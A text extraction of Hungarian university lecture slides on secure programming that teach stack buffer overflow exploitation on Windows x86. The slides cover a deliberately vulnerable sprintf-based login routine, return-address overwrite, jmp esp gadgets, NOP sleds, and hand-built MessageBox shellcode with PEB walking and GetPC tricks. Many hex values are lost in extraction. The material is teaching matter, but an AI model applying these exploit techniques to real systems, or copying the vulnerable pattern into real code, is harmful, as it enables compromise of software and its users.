Biztonságos programozás Puffer túlcsordulásos támadások
|
|
|
- Attila Katona
- 6 évvel ezelőtt
- Látták:
Átírás
1 Biztonságos programozás Puffer túlcsordulásos támadások Intel x68 Izsó Tamás október 13. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1
2 Section 1 Támadások Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 2
3 Bug és exploit Bug = sebezhetőség. Olyan programhiba, mely megléte esetén néha a program nem a programozó által elvárt viselkedést mutatja. Exploit = sebezhetőség kihasználása. Olyan input (beolvasott adat, környezeti változó, stb.) amellyel a támadó kihasználja a programban meglévő sebezhetőséget. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 3
4 Lehetséges támadások Módszer Célpont Vezérlés eltérítése EIP regiszter értékének a kontrolálása. DoS (Denial of Service) szolgáltatás Program vagy eszköz túldás. blokkolásos támaterhelése vagy programhiba okozta leállás. Védett információ megszerzése. Privát információ kiszivárgása (Pl. a program a memóriában lévő információt nem törli, és a swap fájlban ez megtalálható. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 4
5 Puffertúlcsordulás Fajtái: stack alapú (stack buffer overflow); heap alapú (heap buffer overflow); Figyelem stack buffer overflow stack overflow Egyik esetben csak a stack keretet vagy azon belül egy területet írunk túl úgy, hogy megváltoztatunk más változók értékét is. A másik esetben a stack hely fogy el, például végtelen rekurzió esetén. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 5
6 Példaprogramhoz tartozó stack szerkezete 21 int authenticate(char *username, char *password) { 22 int authenticated; 23 char buffer[1024]; 0 24 authenticated = verify_password(username, password); 25 if(authenticated == 0) { 26 sprintf(buffer, 27 "password is incorrect for user %s\n", buffer 28 username); 29 log("%s", buffer); 30 } 31 return authenticated; Cím authenticated mentett EBP 32 } visszatérési cím username password ESP EBP main stack keret Max Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 6
7 Példaprogram normál működése buffer Input: tomi csillag authenticate.exe Cím FF A authenticated mentett EBP visszatérési cím username Output: Password : OK F main stack keret password Max Program működése létező user és megfelelő password esetén. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 7
8 Példaprogram normál működése 0 "password is" "incorrect fo" "r user gipsz" 0a buffer Input: gipsz alma authenticate.exe Cím FF A authenticated mentett EBP visszatérési cím username Output: password is incorrect for user gipsz Password :No! F main stack keret password Max Program működése nem létező user vagy rossz password esetén. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 8
9 Példaprogram normál működése > a.exe 992 A authenticate.exe password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Password : No! 992 karakter hosszú felhasználói név esetén a program helyes eredményt ad. Mi van, ha egy karakterrel több a felhasználói név? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 9
10 Példaprogram normál működése 0 "password is" "incorrect fo" "r user AAA" "AAAAAA" "AA AA" "AAAAA"0a. buffer Input: A A alma authenticate.exe Cím FF A authenticated mentett EBP visszatérési cím username Output: password is incorrect for user AAA AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAA Password :No! Max F main stack keret password Program működése nem létező 992 hosszú user név esetén. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 10
11 Példaprogram hibás működése 0 "password is" "incorrect fo" "r user AAA" "AAAAAA" "AA AA" "AAAAAA" buffer Input: A A alma authenticate.exe Cím 0A FF A authenticated mentett EBP visszatérési cím username 993 darab Output: password is incorrect for user AAA AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAA Password :OK Max F main stack keret password Figyeljük meg, hogy a program elfogadta az autentikációt. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 11
12 Példaprogram hibás működés > a.exe 997 A authenticate.exe password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA A program elszállt. Miért? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 12
13 Példaprogram hibás működés 0 "password is" "incorrect fo" "r user AAA" "AAAAAA" "AA AA" "AAAAAA" buffer Input: A A alma authenticate.exe Cím A A authenticated mentett EBP visszatérési cím username 997 darab Output: password is incorrect for user AAA AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAA Max F main stack keret password Program működése nem létező 997 hosszú user név esetén. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 13
14 Példaprogram hibás működés > a.exe 997 A 4 B 4 C authenticate.exe password is incorrect for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC Mi történik az EBX és az EIP értékével? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 14
15 Példaprogram hibás működés 0 "password is" "incorrect fo" Input: A ABBBCCC alma authenticate.exe Cím "r user AAA" "AAAAAA" "AA AA" "AAAAAA" A buffer authenticated mentett EBP visszatérési cím username 997 darab A Output: password is incorrect for user AAA AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAA BBBCCC Max F main stack keret password Átvettük a programvezérlés irányítását! Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 15
16 Bevezetés a nyomkövető használatába Illusztráció! cmd alak indítás (Far manager) devenv indítás e:\debug>.\a.exe 1100 A authenticate.exe devenv tools -> attach process -> authenticate.exe devenv file -> open -> file -> authenticate.c breakpoint a getchar() után e:\debug><enter> devenv - a breakpoint-nál a program megáll devenv - belépés a authenticate függvénybe devenv - lépegetés a return authenticated sorig devenv - debug -> assembly ablak devenv - függvény visszatérés kódja 00EE14C5 pop edi 00EE14C6 pop esi 00EE14C7 pop ebx 00EE14C8 mov esp, ebp 00EE14CA pop ebp 00EE14CB r e t Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 16
17 Regiszterértékek lekérdezése Regiszterek értéke a return után: EAX = EBX = 7F45D000 ECX = B2A6D862 EDX = ESI = 00EE1118 EDI = 00EE1118 EIP = ESP = 00BAFD14 EBP = EFL = ESP áltam m u t a t o t t memória 0x00BAFD AAAAAAAAAAAAAAAAA 0x00BAFD AAAAAAAAAAAAAAAAA 0x00BAFD AAAAAAAAAAAAAAAAA 0x00BAFD AAAAAAAAAAAAAAAAA 0x00BAFD AAAAAAAAAAAAAAAAA 0x00BAFD A0019 AAAAAAAAAAAAAA... Sajnos ha ezt látjuk, akkor a program nagy valószínűséggel sebezhető. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 17
18 Támadás vakon avagy a támadás költsége Illusztráció! Anélkül, hogy visszafejtenénk a programot, hogyan találjuk meg milyen hosszú adat írja felül a visszatérési címet. Készítsünk egy speciális mintát amiből kikereshetjük a call által elmentett visszatérési címet. String forma: A.EXE 50 -p Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A Puffer túlcsordulást generáló program : A.EXE 20 A 5 X 5 Y AAAAAAAAAAAAAAAAAAAAXXXXXYYYYY Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 18
19 Visszatérési cím megállapítása I Illusztráció! e:\debug>.\a.exe 800 A 300 -p.\authenticate.exe Regiszterek a visszatérés után: EAX = EBX = 7F0A8000 ECX = C4FEC86F EDX = 0F ESI = 00EE1118 EDI = 00EE1118 EIP = ESP = 0094F828 EBP = EFL = Nézzük meg, hogy milyen értéket vett fel az EIP: Ez a generált minta egyik tagja, de hanyadik? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 19
20 Visszatérési cím megállapítása II display ESP-4 0x0094F Ag7Ag8Ag9 0x0094F82D Ah0Ah1Ah2 0x0094F Ah3Ah4Ah5 0x0094F83F Ah6Ah7Ah8 0x0094F Ah9Ai0Ai1 0x0094F Ai2Ai3Ai4 A legelső elem megegyezik az EIP értékével, visszafele olvasva. Little-Endian! ASCII érték : "Ag7A" Egy kis gondolkodással ki lehet számítani, hogy ez hanyadik érték, vagy írjunk rá programot. (Szorgalmi HF) Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 20
21 Visszatérési cím megállapítása III > pattern.exe -o Az offset > 997 előző EBP > 1001 v i s z a t é r é s i cím Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 21
22 Első shellcode elképzelés 0 puffer Cím AAAA AAAA AAAA AAAA AAAA AAAA AAAA BBBB shellcode címe authenticate mentett ESP visszatérési cím shellcode Max Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 22
23 Shellcode címének a megállapítása I. Lefuttatjuk a jól ismert parancsunkat, és a program elszállása után megnézzük a "CCCC" adatot tartalmazza visszatérési cím után következő byte címét. debug> a.exe 997 A 4 B 4 C authenticate.exe start windbg attach authenticate.exe 0:00> g debug> <enter> Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 23
24 Shellcode címének a megállapítása II. 0:00> d esp eeaa AAAAAAAA 0013eeba AAAAAABB 0013eeba a00 BBCCCC eeca 5100b02f51002c11 Q../Q.,. Az eredmény : 0013eeca Baj van! Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 24
25 Shellcode címének a megállapítása II. 0:00> d esp eeaa AAAAAAAA 0013eeba AAAAAABB 0013eeba a00 BBCCCC eeca 5100b02f51002c11 Q../Q.,. Az eredmény : 0013eeca Baj van! A cím 0 byte-ot tartalmaz! Ha a program a puffer területre stringet vár, akkor a 0x0 érték a string végét jelzi, és a shellcode további része már nem kerül beolvasásra. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 24
26 Windows memória modell 0x Stack Stack teteje heap 0x Program image PE header.text.rdata.data Más thread heap vagy stack 0x7FDF0000 0x7FFE0000 0x7FFE1000 0x7FFFFFFF DLLa DLLb PEB osztott memória Nincs hozzáférés
27 Unix memória modell Unix shellcode Unix operációs rendszeren a stack a memória felső címtartományában van, ezért ott működik, ha a visszatérési címet felülírjuk a shellcode kezdőcímével. Figyelmeztetés A shellcode abszolút címe függhet a program futási környezetétől, például a directory nevének a hosszától, ha azt a stack tartalmazza. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 26
28 Az én biztonsági axiomám A támadó szerencsés. A támadó kreatív. A védekező nem.
29 Nop szánkópálya 0 puffer AAAA AAAA Címfüggőség enyhítése: A Nop utasítás nem csinál semmit. Mérete 1 byte, de már vannak több byte-os nop-ok is. Eredetileg 0x90 dekódolva az xchg eax,eax utasítással azonos. Cím AAAA AAAA AAAA AAAA AAAA BBBB shellcode címe NOP NOP NOP NOP authenticate mentett ESP visszatéési cím Nop szánkópálya shellcode Max Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 28
30 Még kreatívabb megoldás 1 Keressünk olyan regiszter, amely a shellcode környékére mutat. Az ESP jelenleg pont oda mutat. 2 Keressünk valahol a memóriában lévő DLL-ekben egy jmp reg+displacement utasítást. A mi esetünkben egy jmp ESP-t kell keresni. 3 A visszatérési értéket írjuk át ezzel a címmel. Figyelmeztetés Csak azokat a DLL-eket vehetjük számításba, amelyeket a processz is használ. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 29
31 Pontos támadás 0 puffer DLL-ek Cím AAAA AAAA AAAA AAAA AAAA AAAA AAAA BBBB valahol a memóriában egy jmp esp címe authenticate mentett ESP visszatéési cím jmp esp shellcode esp Max
32 Keressünk jmp esp kódot windbg alatt. I Illusztráció! Indítsuk el a programot, és a processzt attach-oljuk. <enter> prompt 0:01> Executable search path is: ModLoad: 00ed eeb000 E:\Debug\authenticate.exe ModLoad: 779c b29000 C:\Windows\...\ntdll.dll ModLoad: 75b c20000 C:\Windows\...\KERNEL32.DLL ModLoad: 752e b9000 C:\Windows\...\KERNELBASE.dll ModLoad: 0f9f0000 0fb13000 C:\Windows\...\MSVCR90D.dll (48c.36c): Break instruction exception - code first chance) eax=7fc3e000 ebx= ecx=77a66760 edx=77a66760 esi=77a66760 edi=77a66760 eip=77a2d1d0 esp=0053f974 ebp=0053f9a0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 31
33 Keressünk jmp esp kódot windbg alatt. II gs=0000 efl= ntdll!dbgbreakpoint: 77a2d1d0 cc int 3 0:001> a ;assembler mód 77a2d1d0 jmp esp ;lefordítandó utasítás 77a2d1d2 ;következő utasítás címe 0:001> u 77a2d1d0 ;disassemblálás a megadott címetől ntdll!dbgbreakpoint: 77a2d1d0 ffe4 jmp esp 77a2d1d2 cc int 3 77a2d1d3 cc int 3 77a2d1d4 cc int 3 Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 32
34 Keressünk jmp esp kódot windbg alatt. III windows XP alatt 0:001> lm mkernel32 ;kernel32 modul kijelölése start end module name 7c c8f6000 kernel32 (deferred) ;keresés a kernel32 címtartományába 0:001> s -b 7c c8f6000 ff e4 7c86467b ff e c ff c 8d fe ff..x Egy helyen van jmp esp, a 7c86467b címen. a.exe 997 A 4 B -a 7c86467b 4 nop 1 bp 4 nop 10 X authenticate.exe Az authenticate(char *username, char *password) függvény visszatérése után: Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 33
35 Keressünk jmp esp kódot windbg alatt. IV F5 pop edi F6 pop esi F7 pop ebx F8 mov esp,ebp FA pop ebp ;ebp <- 0x FB ret ;<- itt tartunk Következő lépés: 7C86467B jmp esp 7C86467D inc edi 7C86467E xchg bh,byte ptr [edi+edi*8+15h] 7C pop eax Következő lépés: 0012FF00 nop ;<- Itt tartunk Bingó 0012FF01 nop 0012FF02 nop Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 34
36 Keressünk jmp esp kódot windbg alatt. V 0012FF03 nop 0012FF04 int FF05 nop 0012FF06 nop 0012FF07 nop Következő lépés: 0012FF00 nop 0012FF01 nop ;<- Itt tartunk 0012FF02 nop 0012FF03 nop 0012FF04 int FF05 nop 0012FF06 nop 0012FF07 nop Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 35
37 C programtól a shellcode-ig Feladat: Írjunk shellcode-ot, amely egy üzenetablakot dob fel. Shellcode-unk nem csinál semmi hasznosat, de ha ez működik, akkor más kriktikusabb Windows API függvényt is meg tudunk hívni. A MessageBox függvényt a USER32.dll tartalmazza. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 36
38 C program Illusztráció! 1 #include <windows.h> 2 3 #pragma comment(lib,"user32.lib") 4 5 int main(int argc, char** argv) 6 { 7 MessageBox(NULL, 8 "Biztonsagos programozas kurzus", 9 "BME-HIT", 10 MB_OK); } Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 37
39 A program fordítása Illusztráció! > cl shellcode1.c > dir shellcode1.exe : shellcode1.exe Elég nagy! Nem csak a main() függvényt, hanem a standard C függvényeket inicializáló rutinokat is tartalmaz. dumpbin /disasm shellcode1.exe > bin.asm Az bin.asm 9200 gépi utasítást tartalmaz. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 38
40 Tömör kód készítés Illusztráció! > cl /c shellcode1.c > link /Entry:main shellcode1.obj > dir shellcode1.exe : shellcode1.exe Így már barátságosabb méretű! Elindítva ugyanúgy működik. Figyelmeztetés Vigyázz ez nem egy tisztességes kód, pl. hiányzik az ExitProcess(). Könyvtári függvények használata esetén ezt nem lehet megcsinálni! Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 39
41 A kód Illusztráció! > dumpbin /disasm shellcode1.exe File Type: EXECUTABLE IMAGE : 55 push ebp : 8BEC mov ebp,esp : 6A00 push : push h A: push h F: 6A00 push : FF call dword ptr ds:[ h] : 33C0 xor eax,eax : 5D pop ebp A: C3 ret Mostmár tényleg csak a MessageBox függvény hívását tartalmazza. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 40
42 MessageBox paraméterezése Illusztráció! 1 int MessageBox( 2 HWND hwnd, 3 LPCTSTR lptext, 4 LPCTSTR lpcaption, 5 UINT utype 6 ); Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 41
43 A program adat szegmense Illusztráció! > dumpbin /Section:.data /RAWDATA shellcode1.exe SECTION HEADER #3.data name 27 virtual size 3000 virtual address ( to ) 200 size of raw data 800 file pointer to raw data ( to FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C flags Initialized Data Read Write RAW DATA # : 424D452D A746F6E7361 BME-HIT.Biztonsa : 676F F D6F7A gos programozas : 6B75727A kurzus. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 42
44 MessageBox meghívása Illusztráció! push 0 ; utype push h ; LpCaption "BME-HIT" push h ; lptext "Biztonsagos..." push 0 call dword ptr ds:[ h] ;MessageBox Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 43
45 A csak olvasható adat section Illusztráció! > dumpbin /Section:.rdata /RAWDATA shellcode.exe SECTION HEADER #2.rdata name 52 virtual size 2000 virtual address ( to ) 200 size of raw data 600 file pointer to raw data ( to FF) 0 number of relocations 0 number of line numbers flags : Initialized Data Read Only RAW DATA # : : F : : F8014D ?.Messag : 65426F E646C6C eboxa.user32.dll : 0000 Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 44
46 IAT (Import Address Table) Illusztráció! > dumpbin /Imports shellcode1.exe Section contains the following imports: USER32.dll Import Address Table Import Name Table 0 time date stamp 0 Index of first forwarder reference 1F8 MessageBoxA Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 45
47 Hogyan tovább? Miért nem jó a C program shellcode-nak? A szövegkonstansok külön szegmensben, nem a kód mellett vannak. A szöveg 0 értékű byte-okat tartalmaz. A kód is tartalmaz 0 értékű byte-ot. A MessageBox címét (call dword ptr ds:[ h]) a loader oldja fel. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 46
48 C kód átírása inline asm segítségével Nullák kiküszöbölése: xor eax, eax ; eax < 0 push eax ; Ha a stackre k e l l 0. Szöveg elhelyezés a stacken. 1 A szöveget 4 karakterenként fel kell bontani (32biten 4 karakter fér el). 2 Ha a string hossza nem osztható 4-gyel, akkor ki kell egészíteni például szóközzel. (Kifinomultabb módszerek is lehetnek.) 3 String végét lezáró 0 elhelyezése a stack-en (push eax) + 4-es karakter csoportok elhelyezése. A Little-Endian ábrázolás miatt a byte-okat fordított sorrendben kell letenni. push h " TIH " 4 Utolsó karakter elmentése után megjegyezzük a string kezdőcímét mov esi, esp Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 47
49 MessageBox függvény címének a kikeresése Debugger alatt kikeressük és beégetjük a shellcode-ba. Figyelmeztetés Nem stabil mert különböző Windows változatoknál vagy servicepack-onként változhat. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 48
50 A shellcode Illusztráció! asm { xor eax, eax push eax ; 424D452D "BME HIT " push h push 2D454D42h mov esi, esp ; 6B75727A " kurzus " push eax push h push 7A72756Bh ; 72616D6F7A " ramozas " ; 676F F67 " gos prog " push ah push 6F6D6172h push 676F7270h push 20736F67h ; 42697A746F6E7361 " Biztonsa " push e6fh push 747a6942h mov push push push push mov c a l l add xor } edi, esp eax esi edi eax ecx,7599b580h ecx esp,30 h eax, eax Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 49
51 MessageBox függvény címének a kikeresése DLL-ek bejárása: Illusztráció! 1 Thread Enviroment block tartalmazza a Program Enviroment Block címét. xor edx, edx ; edx < 0 mov dl, 30 h ; edx < 30h mov edx, dword ptr fs : [ edx ] 2 PEB tartalmazza a betöltőprogram számára szükséges adatokat (Loader- Data). mov edx, dword ptr [ edx+0ch] 3 a LoaderData tartalmazza az inicializált modulok listáját. mov edx, dword ptr [ edx+1ch] 4 Egy listaelem tartalmazza a DLL nevét és a memóriában az image kezdő címét. mov esi, dword p t r [ edx+20h ] ; DLL név mov eax, dword p t r [ edx +8] ; DLL memória címe Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 50
52 MessageBox függvény keresésének a kódja Illusztráció! asm { xor edx, edx ; edx < 0 mov dl,30 h ; edx < 30h mov edx, dword ptr fs : [ edx ] mov edx, dword ptr [ edx+0ch] mov edx, dword ptr [ edx+1ch] d l l k e r e s : mov eax, dword ptr [ edx+8] mov esi, dword ptr [ edx+20h ] mov edx, dword ptr [ edx ] cmp byte ptr [ esi +08h ], 33 h jne d l l k e r e s mov edi, eax add edi, dword ptr [ eax+3ch] mov edx, dword ptr [ edi+78h ] add edx, eax mov edi, dword ptr [ edx+20h ] add edi, eax xor ebp, ebp } fuggvkeres : mov esi, dword ptr [ edi+ebp 4] add esi, eax ; e s i = Point to f u n c t i o n name inc ebp cmp dword ptr [ esi ], Dh jne fuggvkeres cmp dword ptr [ esi +7],41786 f42h jne fuggvkeres mov edi, dword ptr [ edx+24h ] add edi, eax mov bp, word ptr [ edi+ebp 2] mov edi, dword ptr [ edx+1ch] add edi, eax mov ecx, dword ptr [ edi+ebp 4 4] add ecx, eax ; ecx contains f u n c t i o n address } Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 51
53 Shellcode kötöttségek Shellcode hiba Shellcode-unk nem működik, mivel nem csak a 0, hanem a whitespace (új sor, tabulátor, szóköz) karakterek sem megengedettek. Lehetséges megoldások: 1 Küszöböljük ki a tiltott karaktereket úgy, mint ahogy a 0 érték esetén tettük. Konstans értékek esetén: mov sub edx, adat1 edx, adat2 adat1 és adat2 byte-jai nem tartalmaznak whitespace-t, de az összegük igen. Rossz értékű utasításkód esetén más utasítást kell keresni. 2 Készítsünk egy dekódert, ami a kódolt shellscript programot visszaalakítja. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 52
54 Dekóder problémák Tiltott karakterek A dekodernek sem szabad 0 vagy whitespace (új sor, tabulátor, szóköz) karaktereket tartalmazni. Akkor mit nyerünk vele? Kevesebb utasításból áll mint egy igazi shellcode, ezért kevesebb kritikus helyet kell kézzel hangolgatni. Egyszer kell elkészíteni, és az összes shellcode-hoz jó lesz. (Vannak letölthető shellcode kódolok, pl. a Metasploit). Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 53
55 Egy probléma a sok közül I Honnan tudjuk a dekoder után következő shellcode címét? Lekérdezzük az EIP értékét Hozzáadjuk a dekóder hosszát Hiányzó utasítás Az EIP-vel nem lehet közvetlenül adatokat címezni. Nincs mov reg32,eip utasítás. 1 probálkozás: : E c a l l g e t i p : : 58 g e t i p : pop eax Nem jó, mert 0 van a kódban. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 54
56 Egy probléma a sok közül II 2 probálkozás: : E c a l l $ : 58 pop eax Nem jó, mert 0 van a kódban. A $+5 értéke az aktuális utasításhoz képest 5 byte-tal távolabbi címet jelenti. A call $+5 5 byte-os utasítás. Miért van akkor az utasításban 0? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 55
57 Egy probléma a sok közül III 3 probálkozás: : E8 FF FF FF FF c a l l $ : C3 r e t A : 59 pop ecx Ez működik de nagyon trükkös. A call $+4 a call utolsó byte-át hívja meg. Az kiegészül a C3 értékkel, az FFC3 az inc ebx utasítás kódja. Itt miért lett a call $+4 utasításban az offset -1? Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 56
58 Egy probléma a sok közül IV 4 probálkozás: Talán a legszebb megoldás, és semmi trükközés : EB03 jmp tovabb : 5E g e t i p : pop esi : FFE6 jmp e s i : E8F8FFFFF tovabb : c a l l g e t i p A call getip elmenti a következő utasítás címét. A pop esi után e keresett címet az esi regiszter tartalmazza. A jmp esi-vel a decoder kezdetére lépünk. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 57
59 Unicode string Unicode esetén a konzolon beírt karakterek konvertálódnak. Például az "A" betű 0x0041 értékű lesz. A 128 alatti értékkel rendelkező karakterekre ez a szabály, de 128 felett függ a kódlap beállításától. Érvénytelen karakterek tömege 0x nop szánkópálya érvénytelen. teszthez felhasznál "AAAA" sorozat érvénytelen. utasítások zöme nem érvényes unicode karakter. Sokáig azt hitték, hogy Unicode string esetén nem lehet puffer-túlcsordulásos támadást intézni, de... Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 58
60 Az én biztonsági axiomám A támadó szerencsés. A támadó kreatív. A védekező nem.
61 Unicode string miatt érvényes utasítások I Illusztráció! Használható utasítások: Egy bájtos utasítások: XCHG r32, r32 POP r32 PUSH r32 mov utasítás Teljesen használható: 8800 mov [ eax ], al 8900 mov [ eax ], eax 8A00 mov al, [ eax ] 8B00 mov eax, [ eax ] Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 60
62 Unicode string miatt érvényes utasítások II Részben használható: A100??00?? mov eax, [ 0 x??00??00 ] A200??00?? mov [0 x??00??00 ], al A300??00?? mov [0 x??00??00 ], eax pszeudó nop: C600?? mov byte [ eax ], 0 x?? 006E00 add byte ptr [ esi ], ch 006F00 add byte ptr [ edi ], ch add byte ptr [ eax ], dh add byte ptr [ ecx ], dh add byte ptr [ edx ], dh add byte ptr [ ebx ], dh Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 61
63 Unicode string miatt érvényes utasítások III add utasítás: 00 add [ r32 ], r8 00 add r8, r8 xor utasítás: 3500??00?? xor eax,0 x??00??00 push utasítás: 6A00 push dword 0x ??00?? push dword 0x??00??00 Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 62
64 Technikák I Illusztráció! Tetszőleges érték előállítása: mov eax, 0 xaa ; EAX = 0xAA push eax dec esp pop eax ; EAX = 0x003400?? add eax, 0 x ; EAX = 0x123456?? mov al, 0 x0 ; EAX = 0x mov ecx, 0 xaa add al, ch ; f i n a l l y : EAX = 0x Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 63
65 Technikák II Illusztráció! Egymás követő 1 byte-os utasítások közé pszeudó nop illesztés: 0012 f2c0 4c dec esp 0012 f2c1 006e00 add byte ptr [ esi ], ch 0012 f2c4 58 pop eax Unicode-os shellscriptet írni ma már gyerekjáték Internetről letölthető unicode shellcode-ot előállító programok léteznek. Irodalom : Phrack Inc, Building IA32 Unicode-Proof Shellcodes. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 64
66 Saját dekóder I Követelmények: Ascii karaktereket olvasunk és nem unicode-ost. Ne tartalmazzon 0 és whitespace karaktereket. Dekóder elvét szeretnénk megmutatni, ezért legyen egyszerű. Kódoló elve: egy tetszőleges byte-ból 0xAB (ahol A és B hexadecimális számjegy) állítsa elő a 0x4A,0x4B számokat. Dekodoló elve: 0x4A,0x4B 0xAB. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 65
